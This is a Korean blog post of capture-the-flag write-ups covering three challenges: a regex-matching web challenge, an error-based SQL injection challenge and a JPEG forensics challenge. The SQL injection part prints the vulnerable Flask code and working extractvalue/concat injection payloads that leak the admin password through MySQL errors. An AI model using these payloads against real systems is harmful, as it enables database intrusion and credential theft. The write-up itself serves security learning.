wargame

write-up 06

burrri 2023. 5. 18. 16:46

dreamhack | web hacking

01. ex-reg-ex 

https://dreamhack.io/wargame/challenges/834/

홈페이지에 들어가니 다음과 같이 입력칸과 제출을 누르면 해당 input을 반영해 값을 반환하는 칸이 있다. 

소스코드를 보자

#!/usr/bin/python3
from flask import Flask, request, render_template
import re

app = Flask(__name__)

try:
    FLAG = open("./flag.txt", "r").read()       # flag is here!
except:
    FLAG = "[**FLAG**]"


@app.route("/", methods=["GET", "POST"])
def index():
    input_val = ""
    if request.method == "POST":  # 사용자가 입력한 경우
        input_val = request.form.get("input_val", "")
        m = re.match(r'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+', input_val)
        # 입력한 value가 dr로 시작 + 5~7개의 단어 + e + 하나이상의 숫자 + am@ + 3~7개의 소문자 + . + 하나이상의 단어문자자
        if m:
            return render_template("index.html", pre_txt=input_val, flag=FLAG)
    return render_template("index.html", pre_txt=input_val, flag='?')


app.run(host="0.0.0.0", port=8000)

사용자가 값을 입력하면 그 값을 input_val에 넣어서 

match함수를 통해 입력값이 조건에 맞는 지 확인하고 flag를 반환해주는 것을 볼 수 있다.

이때 조건은 위의 코드의 주석값과 같다.

 

조건에 맞게 drabcdee1am@fgh.com을 입력하니 flag가 출력되었다!

 

 

02. error based sql injection

https://dreamhack.io/wargame/challenges/412/

 

문제의 사이트는 다음과 같다

코드를 보면 입력칸에서 uid를 받아서 그대로 출력함을 볼 수 있다. 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

init.sql 파일속의 data를 보면

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');--
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');

다음과 같아 uid에 admin을 넣어보면 정직하게 입력한 쿼리 admin이 그대로 나온다

문제에서도 나타나듯이 error를 통해서 user테이블의 upw값을 나타나게 해야하는 것 같다.

 

sql injection에서 extractValue 함수는 주입된 악의적인 SQL 쿼리를 추가하여 공격하는데 이는 다음과 같다.

select id from user where id=1 UNION SELECT extractvalue(0x0a,concat(0x0a,concat(0x0a,(우리가 실행할 쿼리문)));
--0x0a : '\n'
--concat : 악의적인 쿼리를 연결하여 줄바꿈문자를 포함한 문자열을 생성

 

그러므로 uid부분에 다음의 코드를 넣어주면

admin' UNION SELECT extractvalue(1, concat(0x0a, (SELECT upw FROM user WHERE uid='admin')));#

짤린 에러문이 나온다 

 

그러면 substr을 통해서 구문을 끝까지 출력해보자

admin' UNION SELECT extractvalue(1, concat(0x0a, (SELECT substr(upw,1) FROM user WHERE uid='admin')));#

하고 시도했는데 위의 코드로 해도 끝까지 출력이 되지않는다

 

그래서 그냥 1에서 20 ... 21에서 40 ... 하 이렇게 하나하나 이어붙여서 flag를 찾아냈다ㅋㅎ

 

 

H4CKING GAME | digital forensic

03.cat

https://h4ckingga.me/challenges

파일을 다운 받으니 cat.jpg파일 하나가 있어 hxd에 넣어보았다. 

JPG의 EOI인 FF D9 이후에 뭔 잡다한 게 많아서 binwalk 툴을 이용하여 추출해보았다.

 

 

위의 jpeg image data를 제외한 나머지는 부가적인 데이터인 거 같아 추출한 파일을 hxd에 넣어보았다.

 

 

다음과 같은 EOI  시그니처 뒤의 comment부분이 수상해서 위의 16진수를 변환했더니 다음과 같이 flag가 도출되었다! 

https://www.rapidtables.org/ko/convert/number/ascii-to-hex.html

 

'wargame' 카테고리의 다른 글

write-up 08  (0) 2023.07.03
write-up 07  (0) 2023.05.25
write-up 05  (0) 2023.05.11
write-up 04  (0) 2023.05.04
write-up 03  (0) 2023.04.05